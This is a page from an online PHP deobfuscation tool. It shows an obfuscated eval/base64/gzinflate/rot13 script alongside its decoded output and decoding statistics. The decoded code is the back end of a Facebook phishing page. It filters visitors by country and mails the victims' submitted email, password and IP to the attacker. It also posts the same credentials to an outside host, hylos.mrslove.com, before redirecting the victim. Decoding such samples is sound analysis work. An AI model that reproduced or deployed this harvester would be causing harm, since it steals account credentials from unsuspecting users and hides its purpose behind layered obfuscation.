Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval(str_rot13(gzinflate(str_rot13(base64_decode('lUfdQdswFL6v1Go4iqKmlRp0XFlvhUcCl..
Decoded Output download
$ipnya = $_SERVER['REMOTE_ADDR'];
$url = 'https://freegeoip.live/json/'.$ipnya;
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
$data = curl_exec($ch);
curl_close($ch);
$getdata = json_decode($data, TRUE);
$country = $getdata['country_code'];
if($country <> "ID") {
header('location: cgi-sys/defaultwebpage.cgi');
}
$user = $_POST['email'];
$pass = $_POST['password'];
$link_grup= $_POST['linkgrup'];
if($user == "" && $pass == "") {
header('location: ./');
}
include 'email.php';
$subject = "Setoran Akun { ".$user." }";
$message = '
-=== Akun Facebook ===-
<p>
|>> Ip : '.$ipnya.'
<p>
|>> Email : '.$user.'
<p>
|>> Password : '.$pass.'
<p>
-=== Thanks ===-
';
$headersx = 'MIME-Version: 1.0' . "
";
$headersx .= 'Content-type: text/html; charset=iso-8859-1' . "
";
$headersx .= ''.$from.'' . "
";
mail($mailto, $subject, $message, $headersx);
$ch = curl_init();
$post_data = 'email='.$user.'&password='.$pass.'&ip='.$ipnya;
curl_setopt($ch, CURLOPT_URL, 'http://hylos.mrslove.com/info.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_POST,1);
curl_exec($ch);
curl_close($ch);
header('location: '.$link_grup);
Did this file decode correctly?
Original Code
<?php
eval(str_rot13(gzinflate(str_rot13(base64_decode('lUfdQdswFL6v1Go4iqKmlRp0XFlvhUcClIbdIBqkV/xZkXrFDkMFx3pZRsbr8CA82ez8RLSt02WRxN/5zt+XZm8ripcZ+GDHsyj4HgW3QRDdnIZEfDGfB86Po37PQZNFE5yCZsomnrdXpFxYoigq1b30nhnBnoPsKpChi0+zhWmKFUl8ddxUGq8QJjmhGhPFGC7Pg+vTszAOovA8OAmDi5PZSBSMIQzOI+Ng5xnP2kPyRArj1lISJW6yUuy15A3blBPnRZBcWw22E0OQFPNxdrp6HGGdBouNUNWuTQ074vEUrMXcGsFYvwf6KnGWy3HolFFxXBE8AbFJLlsyL5erLC35g3yi2U0iDTsm5auRj8mkEvjsZxbeOmWbqbIWlnOM7UvM8YEkbHosFd7E6ySlHwQDGaSrsw7tg3LBYABaPGbcRjHy2soUFnKaWKhYT7SgjlbM0qd0KbguzJrpz5VxGC42KYYXsEOVEUzwdxnmSTKmuzXD0e+5vu+/v9XUq1nIJ0828P6mRLffO6bTfu/nZwoLChN1pwU5O5bIFEQbqyS7trNTmdp52uzMWtqwyPCGaPmqU+re2SOYAmIWN5H7XR8rEQ7QFwcQS2rJHbY+ZJHmXhLMJeYuX0U5AS4fuUrwemwEosgSPcK+b8Q9PPz6zT3YE1JKulfIFjmfOKbLoXrunIyhFVu/NW/qtzbK6A/bR26UMB43815/PL9GetBBkd8pNUPU30zQvy6ifozrNddbXiz1gqF6wldlr+eZeT2FSqQakv/a5oO9eTPXSovobT7TfWp6/dNy/BFo/4/h9/HXT2ebNTr6BQ==')))));
?>
Function Calls
gzinflate | 1 |
str_rot13 | 2 |
base64_decode | 1 |
Stats
MD5 | 48c0c8496e19107de0ba4c3a09fba6f0 |
Eval Count | 1 |
Decode Time | 74 ms |